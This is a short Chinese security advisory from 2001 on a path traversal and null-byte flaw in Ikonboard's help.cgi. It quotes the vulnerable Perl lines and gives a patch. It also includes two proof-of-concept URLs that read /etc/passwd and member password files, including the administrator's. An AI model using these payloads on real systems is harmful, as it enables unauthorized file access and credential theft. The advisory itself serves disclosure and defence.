Ikonboard v2.1.7b 存在"show files" 漏洞发布时间:2001-03-15 更新时间:2001-03-15 严重程度:中 威胁程度:远程非授权文件存取 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Ikonboard v2.1.6b详细描述 Ikonboard(http://www.ikondiscussion.com/ikonboard/)是一个免费的 BBS系统,其中存在一个漏洞可以以WEB的权利来读本地文件。问题存在 于help.cgi程序中: $inhelpon = $query -> param('helpon'); --- 我们可以看到 $inhelpon作为'helpon'的变量 ---[L.95-97]--- $filetoopen = "$ikondir" . "help/$inhelpon.dat"; $filetoopen = &stripMETA($filetoopen); open (FILE, "$filetoopen") or die "Cannot locate the required files"; --- 其中上面没有检查"/",我们可以在 '$inhelpon'后使用空字节如%00来代替 '.dat',另外脚本也没有检查 ".."造成路径遍历. 测试代码 http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00 http://www.example.com/cgi-bin/ikonboard/help.cgi?helpon=../members/<member>.cgi%00 上面这一条如果你用用户名代替<member>就会显示密码,包括管理员密码。 解决方案 在help.cgi 45行下增加如下的语法: if($inhelpon =~ /\.\./) { &hackdetected; } 然后在最后追加: sub hackdetected { print "Content-type: text/plain\n\n"; print "sorry, this hole was patched :)\n"; print "you have been logged.\n"; exit; } 相关信息 此信息由Martin J. Muench(muench@gmc-online.de)提供,其PATCH由 Darren Mobley(decker@N3T.NET)提供. |